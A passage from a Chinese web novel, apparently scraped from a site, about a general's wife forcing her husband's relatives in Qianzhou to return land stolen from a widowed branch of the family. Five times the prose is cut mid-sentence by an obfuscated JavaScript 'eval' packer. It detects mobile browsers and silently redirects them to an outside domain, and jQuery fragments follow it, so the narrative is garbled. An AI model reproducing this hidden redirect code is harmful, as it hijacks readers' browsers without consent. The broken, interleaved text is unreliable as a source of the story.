他哼哼道,“你以为人家见惯了风雨世面的,会被你这些个小手段拿捏?还当妾?如今可好,人家把你们俩都送回来,手里还捏着咱们的把柄!!我说她怎么那样油盐不进,原来是你们俩早就把好感败光了!” 这话说到了点子上。 赵大伯母无言以对。 赵阅儿捂着脸,泪水不断。 “你们先在这儿给我跪上一夜,用你俩那榆木脑袋好好想想!” 说完,他气呼呼地拂袖而去。 等父亲走远,赵阅儿才敢开口。 “娘……爹爹为何这般生气?”她忍得喉咙疼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451574|184842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一开口满是鼻音。 “哎,不过是咱们棋差一着。”赵大伯母叹气,“别慌,不就是跪上一夜,你爹啊脾气来得快,去得也快,别往心里去。” 从前她就是这样应付丈夫的。 早在他们成婚后不久,她不满意丈夫娇宠其中一位通房丫鬟,便擅自做主把那丫鬟给卖了。 而且为了出气,还是将其卖去了最穷最难的庄子上,将人配给了一个赖头流氓。 那丫鬟被折磨了不到一个月,人就没了。 后来也是这样,她在祠堂里跪上一整夜,丈夫就消气了。 她可是三书六礼娶过门的正妻,赵大老爷再如何置气,也不会真的拿她如何,这一点赵大伯母有信心。 一夜过来,她倒是越发老当益壮。 但赵阅儿身娇肉贵的,哪里吃过这样的苦,早就膝盖酸软,小腿又疼又麻,两个婆子丫鬟在身边搀扶着才能起身。 刚回到屋里洗漱更衣歇下,赵大伯母还没来得及喘口气,她身边的心腹乔妈妈匆匆赶来。 “太太!”乔妈妈急了,“大事不妙,老爷下了帖子给那薛家,这会子薛家老爷怕是已经在路上了。” 赵大伯母一听,瞌睡顿时跑得一干二净。 “哪个薛家?” “还能有哪个,就是当年与咱们大老爷有过婚约之言的薛家!那会子不是说了,让咱们家姑娘嫁给他们家小子的么?”乔妈妈语速很快,“我去门房打听了,老爷大约想旧事重提。” 赵大伯母这才意识到大事不妙。 “想让我阅儿嫁去那户人家,要什么没什么,做他的春秋大梦!”她重重一巴掌将刚刚卸下的金钗拍在梳妆台上,镜中的脸狰狞愤怒,几乎要跳起来**了。 辰时末,一架青灰华顶的小轿落在府门外。 杨管事亲自迎门,将那薛老爷迎了进去。 两位老爷一碰面,一改从前的隔阂不满,倒真有几分故知再遇的怜惜。 “我还道兄长再不见我这弟弟了。”薛老爷打趣。 “哪里话,前些日子府里事务繁忙,你也知晓的,我那二弟一房白事频发,少不得要分了神。” 薛老爷连连点头,道了一声节哀。 刚要入正题,赵大伯母领着奉茶的丫鬟进来了。 “你来做什么?”赵大老爷脸色没变,但眼神变了。 “听闻贵客到访,我身为主母,哪有不出来见一见的道理,这是上好的云麓茶,且让薛老爷品一品。” 第150章水越浑越好 到底夫妻多年,赵大伯母心里在想什么,一个眼神赵大老爷就知道。 当着客人的面,他自然不好训斥老妻。 只让她将茶水放下,就撵她出去。 赵大伯母却笑道:“我与薛老爷也多时不见,叙叙旧嘛,老爷你也在这儿,咱们两家知根知底的,又难得碰面一回,我也想问问薛老爷家中太太如何了?” “内子一切都好,难为大太太惦记。”薛老爷忙道。 “那就好,咱们两家这样的关系,论理合该多走动的,可你家太太身子总也不好,上回办的什么宴饮**,她也没能来;倒是你家小子孝敬,一直在跟前伺候着吧。” “那是。”说起这个,薛老爷就开心,“我家二郎确实孝顺。” “这世上的事情总是这般不公平,他精力都放在了床前侍疾上,自然读书上进这一块就会懈怠,薛老爷也不必放在心上,今年考不中,还有往后,这时日长着呢。” 赵大伯母这话有些过了。 薛老爷面上讪讪,不知说什么好。 都是半截入土的人了,什么人话鬼话哪里听不懂。 没等赵大老爷开口,薛老爷便借口家中还有事,起身告辞,走得那叫一个干脆利落。 “你说说你,成事不足败事有余的东西!” 赵大老爷彻底怒了。 “我也是替咱们阅儿着想!那薛家是什么人,如何能配得上咱们阅儿?你要让闺女嫁去贫寒人家吃苦,这我可不依!”赵大伯母理直气壮。 但凡为了儿女,她都敢跟丈夫硬碰硬。 “你懂什么,人家薛家儿郎已中了举人!三年后便可赴京赶考,那儿郎我也是瞧过的,端的是人品厚重,上进用功,脑子也灵光,他考中进士也未必不能!” 赵大老爷只觉得心肝脾肺肾都气得颤抖,“让阅儿嫁给这样的儿郎不好么?少年夫妻,又门当户对,那儿郎必会感激阅儿,到时候夫妻和睦,他又青云直上,还怕咱们闺女没有好日子过么?” “你呀你,总是想着捡现成的,哪有那么多现成的等着你!” “天上掉块馅饼你也敢一口吞了,就不怕有毒?” 赵大老爷觉得不能再说,捂着心口,连连摆手,“你赶紧走吧,多看你一眼我都添堵。” “走就走,这些话你又没与我说。” 赵大伯母觉得自己还挺委屈。 夫妻二**吵一架,不欢而散。 赵阅儿的婚事就这样暂时搁浅。 好在女儿家年纪尚轻,倒也不急着办事。 眼下最要紧的,还是先摆平虞声笙。 赵家夫妻哪里知道,薛老爷前脚刚离了乐安府,后脚就被一辆马车拦住了去路。 虞声笙掀起帘笼,露出半张脸,笑靥如花:“薛老爷,可否借一步说话?” 乾州,万福茶楼。 三楼某处包厢内,虞声笙的对面坐着薛老爷。 四周是丫鬟小厮围了一圈。 屏风撤走,门户半掩,主打一个清白。 这是金猫儿强调的。 虞声笙其实自己觉得还好。 只要眼睛不瞎,谁都不会放弃闻昊渊,而看上这么个半老的老头子。 “不知这位夫人想要与老朽说什么?老朽记得,不曾与夫人见过面,应该也没有什么旧事要讲。”薛老爷淡淡道。 “我们确实没有见过面,但我的父母与薛老爷却有一段渊源。”虞声笙开门见山。 “夫人的父母又是哪位?” “生父洪修,生母柴氏。” 一听这话,薛老爷脸色大变,忙不迭地起身:“夫人怕是找错人了,我一直都在乾州,一家老小都不曾离开过,更不知晓什么京城的大官。我先告辞!” 丢下这话,他步伐匆匆,几乎落荒而逃。 虞声笙凝视着他的背影,嘴角微微弯起。 金猫儿担忧:“夫人,咱们还要去拦着么?” “不必,他虽然什么都没说,但这反应已经说明了一切。”她淡然道,“不着急,现在不说是时候未到,等到了时候,自然会明了。” 她又问,“官府那边怎么说?” “已经收下了夫人给的证据,赵家那头应该很快就会得到消息。” “希望乾州官府不要让我失望,这后头又给的证据可花费了我不少精力呢。” “夫人是想让那赵家大房出点血?”今瑶好奇。 “何止大房?我只是想让一池水都搅浑,这样水里有什么才看不清呀。”虞声笙抿唇一笑,“等着吧,不出两日,赵家夫妇必定还会来找我。” 有些事就是这样不经念叨。 往往以为已经是最坏的局面时,总会跳出一些意外来,将短暂的平静彻底打破。 赵大老爷还在想着如何让虞声笙满意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459147|184842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 又想着给怎样的好处,才能让对方收手。 给了多了,自己心疼;给了少了,又怕达不到效果。 正左右为难呢,其他两房兄弟就找上门了。 原因很简单,他们不知从哪儿得到了消息,说是官府正在清算赵家的财产,顺便知晓了大哥这一房贪得的田产最多,这都是他们原先毫不知情的、原属于二房的产业。 一样都是兄弟,凭什么赵大老爷要多拿多占? 分利不均,自然怨气横生,四处不满。 刚来半日,兄弟几人已经在外书房争得面红脖子粗。 “枉我们这般信任你,你却将兄弟几个当猴耍!面对宗族耆老,还有二嫂子时,你让咱们几个冲在前头,什么好话赖话都说尽了,完了什么没捞到,还落了个刻薄的名声!” “你以为欺负寡嫂这名声好听么?凭什么你就躲在后头当好人,坏事咱们做,好处却是你来拿。” “都别吵了,事情不是你们想的那样。”赵大老爷只觉得头疼欲裂。 他就一张嘴,哪里比得过这么多人一齐发难。 喊破喉咙都无人在意。 他们只知晓,原本该分一杯羹的,如今这羹全被大房吞了。 另一边,一直冷眼观望的弟媳妇酸溜溜地开口了:“哎哟,要不是这回事曝出来,咱们几个都被蒙在鼓里呢,都说是一家子兄弟,大哥却把咱们当瞎子聋子,事到如今还不说实话。” 赵大伯母急了:“你浑说什么——” “我哪里浑说了?大嫂子既这么说了,我倒要问问嫂子,说我浑说,那些个田产可是归了你们两口子名下?” 那弟媳妇素来不是好惹的。 一瞪眼,满是凌厉。 尖尖的声音划过每个人的耳膜,带来一阵寒毛直竖。 “那田产被你们贪了,却不给咱们兄弟几个分,哪有这样的道理!说起来,我还要多谢谢那位京城来的夫人呢,若非她来,咱们怕是要被瞒一辈子!” “当初你们说什么二嫂子能干狡诈,用了个金蝉脱壳之计,变卖家产,带着那两个孩子北上了,咱们白白忙活一圈,啥也没得,这会子又怎么说?” 赵大伯母口中发苦,哪有辩驳之言。 这会子她是真后悔了。 早知给虞声笙一个颜色瞧瞧会带来这么多连锁反应,她当初说什么都不会这样做。 第151章赴宴 那弟媳妇见她不吭声,越发张扬。 “你说说,用得着咱们弟弟弟妹几个了,便一挥手叫咱们来,什么难听的话是咱们说,什么难看的事情是咱们做,咱们一个个的实心眼,只把大哥大嫂的话当成圣旨一般来听,谁能想到你们夫妇二人拿咱们当猴耍!” “今日就算豁出去了,撕破脸皮,我也要争一争这个理!!” 这话一出,众人越发恼火。 “没错,弟妹说得对,今日这事不给个说法,咱们谁也别想出这个房门!” 赵大老爷叫苦不迭。 外头有一个虞声笙虎视眈眈,这会子后院还起火了。 他愁得一个脑袋两个大。 要是可以,恨不得立时三刻挖个地洞钻进去。 哪怕一向天不怕地不怕的赵大伯母,眼下也哑了火。 有道是双手难敌四拳,何况对面这么多人,她哪敢争辩。 最终你一言我一语地说着,还真叫他们盘出了大概被吞了的田产数量。 数量一出,那弟媳妇更是笑容古怪:“怪道大哥大嫂这般贪心,原是占了这样大的便宜,可你们也未免太贪了些,自个儿吃肉喝汤的,连一点荤腥都不叫我们闻见。” “别说这些了,如今瞧着多,怕是不日也要吐出去了!”赵大伯母嚷嚷了一句。 “这是为何?” 她忙将虞声笙举告一事说了。 众人听了,面面相觑。 威武将军府……不就是黎阳夫人投奔的大户么? 如今人家夫人找上门来,怕是事情难了。 赵大伯母还想用一招祸水东引,最好让这些炮仗去对付虞声笙,她满是哭腔,一副悔恨交加的模样:“原没这事,我们夫妇也想着等事态平息了,就将这些好处分给弟兄几个的,哪有一户全吞了的道理?” “是啊,你们又不是睁眼瞎,这事……能瞒得住一时,哪能瞒得住一世呢。”赵大老爷忙接上。 刚刚还沸腾的众人又安静下来。 他们你看看我,我看看你,一时僵持住了。 继续留下来,那对上的威武将军府和黎阳夫人。 若直接走人,那就意味着彻底放弃那些田产…… 那可不是简单的田产,是大片大片的良田! 真要坐拥这些产业,日日懈怠懒散,也不愁锦衣玉食,光是每年的出息交粮就是一个相当可观的数字,叫人如何不心动? 四周安静一片,各人都有各人的心思。 赵大伯母却松了口气。 之前利用这些人出面刁难黎阳夫人,也是用的这个法子。 就是拿捏了准了他们的犹豫不定,瞻前顾后,才能更好的从中获利。 见差不多了,她叹道:“横竖今日已经把话说开,诸位兄弟若不信,且叫我们夫妻立下字据,等事情了结了,该给你们的一份不少!” “这个行。” “我看可以。” 弟媳妇眼珠子一转:“立字据可要签字画押的。” “成。”赵大伯母应得果断。 赵大老爷与她相视一眼,心知肚明。 于是,一场闹剧在夫妇二人写完字据,又签字画押后,总算消停下来。 临走前,那弟媳妇还笑道:“大嫂子别往心里去,我不过是说话直了些,可没有那么多的弯弯肠子的。” 赵大伯母心中骂翻天,面上却还笑嘻嘻:“哪里话,与你妯娌这么多年了,我哪里不清楚你的。” 这字据一式两份。 各自保管。 拿到了这个,翌日一早赵大老爷便出了门。 下午晌,赵大伯母又亲自去了一趟客栈。 再次见面,她显得客套温和了许多,说了一会话,还请虞声笙过去小住,说是车马都备好了。 虞声笙自然拒绝。 赵大伯母并不意外,顺势又道:“既然你不愿去住,我这做长辈的也不好强人所难,可到底你来了乾州有些时日了,还不如我府上用顿饭,那岂不是……生分了?” “你不住可以,这顿饭总要吃的吧?” 虞声笙明白了。 对方有备而来,请自己过去小住是假,真正要安排的,是这顿饭才对。 “好。”她笑眯眯应下。 兵来将挡水来土掩。 她才不会怕呢。 出门前,她就起卦算过,这一趟是金玉之兆,该她发财的。 是以,有些事情婉拒不了,那就顺其自然。 虞声笙与赵大伯母约好,明日自有马车来接,请她过府一叙,共享午饭。 翌日临近晌午,一辆青灰玉缎的马车停在客栈门口。 赵大伯母身边的心腹妈妈亲自来接。 虞声笙明白,自己是晚辈,也没有赵大伯母还要跑这一趟的道理。 到了乐安府,赵大伯母笑脸迎人,与之前简直判若两人,虞声笙差点不敢认。 赵大伯母又拉着她手说了好些关怀的话。 好像她们之前毫无嫌隙,更无争端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463099|184842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 虞声笙瞧着,心中啧啧称奇,顿觉赵大伯母身上也并非完全没有可取之处,这能屈能伸的心态就挺值得学习的。 因是款待晚辈,这午饭便摆在了临湖凉亭之上。 品酒吃菜赏景,自有一股别样滋味。 赵阅儿也在旁作陪。 只是这位赵小姐的定力就远不如她的母亲了。 虽面上涂了胭脂,瞧着依旧春华灿烂的模样,但看向虞声笙的眼神多少有些不耐与厌恶。 赵大伯母可没惯着她。 趁着虞声笙没往这边看,在桌子底下狠狠掐了闺女一把。 赵阅儿眼眶红红的,却比刚刚态度好了很多,还会主动向虞声笙敬酒了。 她带着哽咽,怯怯道:“小妹敬嫂嫂一杯,过往种种小妹多有不懂事之处,还请嫂嫂见谅,莫要与小妹一般计较。” 虞声笙莞尔举杯,与她轻轻一碰:“这是自然。” 品着鲜甜的桂花酿,吃着乾州本地的特色菜,吹风赏景,临湖悠然,让人感受到了别样滋味。 正有说有笑着,赵大伯母突然悲从中来,眉宇间笼罩了一层愁苦:“说起来不怕你一个晚辈笑话,我们母女原也有不得已之处,原先的事儿是咱们不对,难为你没有往心里去……” 说着,她眼带怜惜,望向赵阅儿:“如今我膝下统共这么个闺女没成家的,我也是关心则乱,眼下我们夫妇心不安呐,阅儿她终身尚无依靠,我们这做父母的,也只能替她多打算。” “大伯母为母心切,也是情理之中。” 虞声笙淡淡道。 “都说京城的贵人自与别处的不一样,今日我才算见识了,难为你不计较。” 赵大伯母又给虞声笙添了一筷子红烧熏鱼。 这人也算很有眼力劲的了 才这么一会儿的功夫,已经觉察出虞声笙的喜好。 这顿饭吃得还算畅快。 酒足饭饱后,赵大伯母又领着她逛起了乐安府的花园子。 言辞间,赵大伯母难掩骄傲得意。 虞声笙很识趣,没有点破这本来应该是黎阳夫人的府邸,也顺着她的话夸了两句。 临别时,赵大伯母命人送来了两笼屉的果子糕饼。 “方才就见你爱这味儿,刚好厨房新做了几样,你若不嫌弃,就带回去尝尝,要是尝着好了,只管打发人来与我说,我再让下人给你送去便是。” 虞声笙抬手按住食笼。 赵大伯母眼神立马乱了一瞬。 第152章豁然开朗 “大伯母。”虞声笙转过脸来,浅笑嫣然,“糕饼什么的我收下便是,横竖是长辈的一番关爱之心,但旁的东西就算了,我年轻福薄受不起,再说了,乱收旁人的东西若叫我家将军知道了,定是要怪罪我了。” “夫人这是哪里话。” 赵大伯母有些笑得讪讪,不敢与她对视。 虞声笙倒也不揭穿,只给了身边今瑶一个眼神。 今瑶立马领会,只取了最上面一层的糕饼。 见状,赵大伯母脸色瞬间阴沉。 “多谢大伯母今日盛情款待。”虞声笙告辞,“叨扰半日,实在是过意不去,等往后有机会了,还请大伯母领着妹妹妹夫一块来我府上做客小住才是。” 赵阅儿听明白了,小脸更是煞白难看。 赵大伯母哪有开口的机会,眼睁睁瞧着虞声笙离去。 等她走远,赵阅儿才问:“娘,这什么夫人根本没把您放在眼里!您这备的糕饼里有什么,她得了好处,还这般避之不及的?” “别问了。” “娘……” “说了别问了!回房去!” 赵阅儿哪敢再开口,强忍眼泪,领着凝枣匆匆离去。 回到房中,她便气呼呼地将榻上的软枕摔摔打打。 一旁的凝枣瞧了,心中闷闷叹气,忙让那些个不明所以的小丫鬟们先退下,又让人关紧院门,这才径直走到主子身边柔声软语道:“姑娘何苦来的,为了个外人这样折磨自己,凭她是谁呢,横竖都是别人家的夫人,即便手伸得再长,也管不到咱们身上来。” 凝枣是赵阅儿身边一等大丫鬟。 又是家生子。 她本就比赵阅儿大了两岁。 跟在老子娘身边历练多了,人也聪慧机敏,是以府中上下无人不称她一声凝枣姐姐。 上回赵阅儿随母赴京治病,带了其他的丫鬟,唯独将凝枣留了下来,看护赵阅儿的门院。 那些个箱笼妆奁,一应俱全,日日被打点得干净利落,一样儿不少。 赵大伯母也说了,留下凝枣方能看得住院子。 是以,凝枣并不知晓自家姑娘在京城时的种种事情。 这会子回来了,又瞧着府中风波不断,老爷太太愁容满面,还多了个京城而来的将军夫人,凝枣就算再迟钝,也该明白出了旁的事情。 她趁着空余,忙问了陪在赵阅儿身边的其他几个丫鬟。 原先她们还支支吾吾地不敢说。 可凝枣立马丢下脸来,冷冷道:“你们不说,回头出了什么事我可护不住你们。” 想起凝枣素日里的好,那些丫鬟一个个都软了。 “好姐姐,不是咱们不说,而是这事……实在是开不了口。” 其中一人吃不住逼问,拉着凝枣耳语了一番,这才让凝枣恍然大悟。 了解了事情的来龙去脉,凝枣只觉得荒唐可笑。 自家姑娘清清白白一大闺女,说起来也是官宦人家的小姐,怎就落到这一步了…… 她心中埋怨太太眼皮浅,也责怪姑娘一时眼馋心热,做出这些个无法挽回的事情,千言万语到了嘴边她又给咽了下去。 这会子瞧见赵阅儿哭得伤心,她又是心急又是不忍。 好话赖话说了一马车,赵阅儿的眼睛都哭肿了,依旧停不下来。 凝枣屏住呼吸,扯住赵阅儿的手腕,欺到她跟前,用不低不高的声音道:“姑娘且听奴婢一言,这事儿本就是姑娘做错了!这会子还哭什么?” “你、你说什么?” 赵阅儿惊呆了。 她万万没想到,自己的大丫鬟,身边最最亲近的奴仆,竟然张口就说是自己的错。 “你昏了头了不成?竟帮着外人来编排我的不是?” “姑娘莫气,您细想;您也是千金小姐,万金之躯,乾州不知多少名门望族家的公子哥儿排着队求娶呢,何必自轻自贱,倒让人家瞧不起。” “你——” “今日就算姑娘恼了我,日后再不与我亲近,这话我也还是要说。”凝枣又打断了她,“您金尊玉贵一般的人,要模样有模样,要家世有家世,做谁家的奶奶做不得?婢子与姑娘自幼一起长大,我可瞧不得姑娘这般作践自己!” 这些话仿若在赵阅儿耳边硬生生炸了个响雷。 震得她两眼瞪圆,张口结舌。 “凭他什么将军府,既人家不要,姑娘还巴巴地送上去么?过往姑娘的骄傲自尊都去哪儿了?” 赵阅儿的脸仿若火烧,滚烫一片。 自从出事后,还是第一次有人跟她说这样直白的话。 “错便错了,姑娘年轻,不为自己争一次,自然不甘心的;可如今争也争了,便则罢了!咱们再另寻更好的人家,谁说那高门府邸的日子就一定有滋有味,毫无烦恼呢?跟着姑娘,哪怕叫婢子日日吃糠咽菜都成!” 凝枣脸颊绯红,显然是激动了。 赵阅儿越听越羞愧,只觉得前段时日的自己像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465446|184842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是被人下了蛊一般,回想起来,更是羞恼难当。 冷不丁触到凝枣的眼睛,想起过往种种,心中一个声音不断在重复——是啊,她说得对,她说得是极对的! 念头一旦想开,人便豁达明朗了起来。 她吸了吸鼻子,含着笑骂了句:“好个伶牙俐齿的丫头,原怎么没瞧见你有这样厉害的嘴皮子,如今倒好,全都用在我一人身上了,来日定然给你寻个更厉害的夫君,好好治你不可。” “要是姑娘觉得好,婢子嫁便嫁了,只一点,婢子可不愿嫁得远,我可要伺候姑娘一辈子的。” 赵阅儿破涕为笑。 又命人取来了热水,香胰子等物,她洗了脸,让凝枣伺候自己重新梳妆施粉。 主仆二人这才将话题转到了今日的宴饮上。 “我瞧着太太今日待那将军夫人的模样也过了些……就是不知晓那糕饼里头还装了什么。”凝枣点到为止。 “娘做事,也不会告知我,不过……”赵阅儿还是多少听到了关于二房田产的事情。 她一阵犹豫,垂眸沉思片刻,“你寻个手脚利落的小厮去那头瞧瞧,我总也不放心,万一有什么,我也好劝着爹娘些。” 凝枣脆脆一声应了,忙不迭地去办。 到了晚间,那小厮来回话了。 听完了小厮的话,赵阅儿一阵无语。 原来赵大伯母今日给虞声笙备的糕饼中藏了好些地契……全都是他们这一房原先贪墨了二房的产业。 赵大伯母打算来一招釜底抽薪,先斩后奏。 只要虞声笙收下了,那就说不清了。 只可惜棋差一着,人家将军夫人眼明心亮,根本没上当。 “娘怎这样糊涂,那位夫人哪里又是好惹的,想想从前咱们在人家府里时的光景便知晓了。”她呢喃着,心如乱麻。 此刻,客栈中依旧上着灯。 虞声笙爱看书。 正挑灯夜读。 她也不拘泥于什么正经书籍,只要是觉得好看的,照单全收。 金猫儿有几次瞧见了,都看得面红耳赤。 看看自家夫人一脸镇定,平淡如云的模样,她又开不了口劝阻。 刚刚又翻过一页,虞声笙才觉得有些困倦。 今瑶过来道:“夫人还是早些安置了吧。” 话音刚落,外头小厮来传话:“夫人,乐安府的小姐送了书信过来。” 虞声笙心头微跳:赵阅儿……么? 第153章她的来意 赵阅儿送来的书信内容极为简单。 就说了明日辰时末会来拜访,有要事相商。 大约是为表诚意,连同书信一道送来的,还有一块翠玉珏。 这东西虞声笙眼熟,是赵阅儿随身携带的。 今瑶有些不解:“好端端地给咱们夫人送这个作甚?” “这你就不懂了,这是那赵府姑娘的贴身之物,送与我们夫人,意表诚心坦荡。”金猫儿开口道。 虞声笙赞赏地轻轻颔首:“不愧是跟在太太身边的人了,你们几个还得跟金猫儿多学学。” 几个丫鬟忙笑嘻嘻地应了,各自手中的活计并不断,依旧忙得热乎。 拿着翠玉珏对着灯火照了照,虞声笙道:“让厨房备些软糯酥甜的果子,明日的茶要玉堂春的便成。” “夫人这是打算见她了?”今瑶问。 “赵家姑娘少有这般周到真诚的时候,我倒想听听她说什么。” 今瑶垂眸一想,忙转身去厨房安顿了。 这一日暂且歇下。 翌日一早,客栈厨房内炊烟袅袅。 自从得了将军夫人这一大主顾,厨房内就没有断过柴火的时候,什么蒸笼熏锅,一应俱全,好汤好菜好点心地供着。 那客栈老板送了盏玉堂春过来,笑眯眯地奉上。 虞声笙这会子刚用过早饭,浅尝一口,顿觉茶味鲜浓,沁人心脾,便赞了一句。 “夫人谬赞了,小店也是依着夫人的嘱咐烹了这茶,要说从前咱们哪有这眼力本事,还会烹制玉堂春呢。” “那我再教你一点。”虞声笙喜欢勤快聪慧的人,又笑道,“若是春日里品玉堂春,你这茶水就得用山泉水,烹制的火候要轻一点,这样出来的茶汤才更口感轻盈;若是秋冬日里品来,便要炭火配雪水,比寻常时候多烹一刻的功夫,这样便多些厚重。” “多谢夫人不吝赐教。” 正说着,金猫儿领着一人过来了。 “夫人,赵姑娘到了。” 虞声笙抬眼望去,刚好撞上了赵阅儿那双有些忐忑的眼睛。 赵阅儿下意识地躲开。 大约又想起了自己今日来意,她忙又撩起眼皮,对着虞声笙福了福,行了个标准的女儿礼。 “见过夫人。” “都是旧相识了,何必这样客气,坐。” 赵阅儿依言,缓缓坐在了她侧边的位置上。 今日赵阅儿来访,身边只带了一个虞声笙瞧着眼生的丫鬟,瞧模样举止,应该是小姐房中的贴身一等大丫鬟。 略品了两口茶,赵阅儿便说明来意。 “从前是我猪油蒙了心,不分好赖,全将礼义廉耻不顾,倒让夫人看了笑话,实在是怪不了旁人;如今我也不敢求夫人谅解,只说一句——小女确实明白了自己的错处,往后再不会了。” 她边说边坚定地摇摇头,“今日来找夫人,是为了我爹娘一事,还有、还有……” 她垂眸咬唇,压低声音说出了地契一事。 虞声笙一阵惊讶。 是真没想到赵阅儿会这样直白。 甚至当着她的面都没半点遮掩。 “我知道我娘这事做得不妥……但我身为儿女也不好说什么,只能来提醒夫人,还请夫人能高抬贵手。” 赵阅儿说着,眼眶微微泛红。 对方能说出这番话,确实让虞声笙有些刮目相看。 她的指尖轻轻搁在桌案上,像是没有意识地轻轻瞧着,一下一下的节奏不急不缓,却听得对面的赵阅儿有些惶惶不安。 就在赵阅儿快要耐不住的时候,虞声笙开口了。 “赵姑娘可否知晓这些事情的关键?” 赵阅儿一阵错愕:“不是夫人您……啊!!” 她恍然大悟。 虞声笙莞尔:“看样子赵姑娘也不是愚笨之人,一样很明白呢,这些事的关键不在你我,而是在真正关键之人的身上,一直揣着明白装糊涂,可不是万灵丹呀。” 赵阅儿飞快眨着眼睛。 这一次跟着一起来乾州的,只有将军府的夫妇二人。 反而让人忽略了背后真正的主事之人——黎阳夫人。 说穿了,今日一连串的矛盾,皆是乐安公与其他几房兄弟的利益之争,是他们趁着乐安公过世、趁着黎阳夫人接连失去丈夫、儿子后、欺负他们孤儿寡母的怨恨。 如今瞧着是一派太平,黎阳夫人也远远躲去了京城,好像剩下来的那些产业就成了无主之地,被赵家几房兄弟占为己有。 可事实并不是如此。 虞声笙出手的第一步,已经打得他们措手不及,手忙脚乱。 “赵姑娘,难为你今日跑一趟,既然你把话挑明了,我也不愿跟你兜圈子,这样好了,你帮忙带句话给令尊令堂,想要我这边收手,就将原先从黎阳夫人处偷来的田产尽数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16471041|184842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 归还。” 她轻柔地笑着,声音却越发坚定,“不是还给我,而是要将一并田地重新划分,咱们去官府处过了明面,将这些归还给黎阳夫人以及辉哥儿桂姐儿。” “你可听明白了?” 约莫半个时辰后,赵阅儿面色发白地离去。 直到坐进马车,她才缓过一口气来。 凝枣见状,忍不住心有余悸:“这将军夫人果真好大的威慑,才说了几句话便这般……她算准了咱们今日的来意。” “可不是,原是我痴心妄想,有这般厉害的主母在上头,我又如何能出头?”她自嘲地笑着摇摇头。 “那姑娘准备何时与老爷太太说?” “越快越好吧,你瞧她今日这样子,是半点谈的意思都没有,她半步都不会让的。” 赵阅儿嘴角发苦,“换成是我也是一样,千里迢迢来到乾州,若不把事情办得逞心如意,又怎对得起这一路的奔波?况且,那本就是二叔那一房的东西……” 凝枣张了张口,没吭声。 主仆二人齐刷刷陷入沉默。 赵阅儿其实是个很聪明的姑娘。 如今被点明了心思,越发能看出这事儿拖不得。 回了府,她便直奔母亲房中。 “你这半日不在家里,又去哪儿了?是去买了什么新鲜花样的胭脂水粉么?”赵大伯母笑呵呵,全然没有半点担忧。 赵阅儿屏退左右,开门见山。 刚刚说了几句,方才还笑容满面的母亲,这会子已经面笼寒霜。 赵阅儿压根没留意到,还在催促着。 “娘,女儿今日当面问了虞夫人,她给的话一字不差,都在这儿了,想来在二叔田产一事上对方是有备而来,您与爹爹不是也知晓了,她都告去官府了,接下来还有什么后招咱们谁也说不好,不如放手,图个干净利落,还能留下些个好名声不是。” “你懂什么?”赵大伯母暴躁起来,“你说还就还的?还什么还?当初你二叔那一房接连出事,难道不是咱们大房顶在前头替她料理的,如今自己落得一身轻松,倒来与我们算账了?” “我告诉你,这些都是咱们应得的!” 她掷地有声,斩钉截铁,“这事儿不该你问的,赶紧回房去练练你的绣功!别到时候绣嫁妆了拿不出手,叫未来夫家笑话。” 赵阅儿涨得满脸发紫,连连跺脚:“娘!您怎这般糊涂……” 第154章对峙 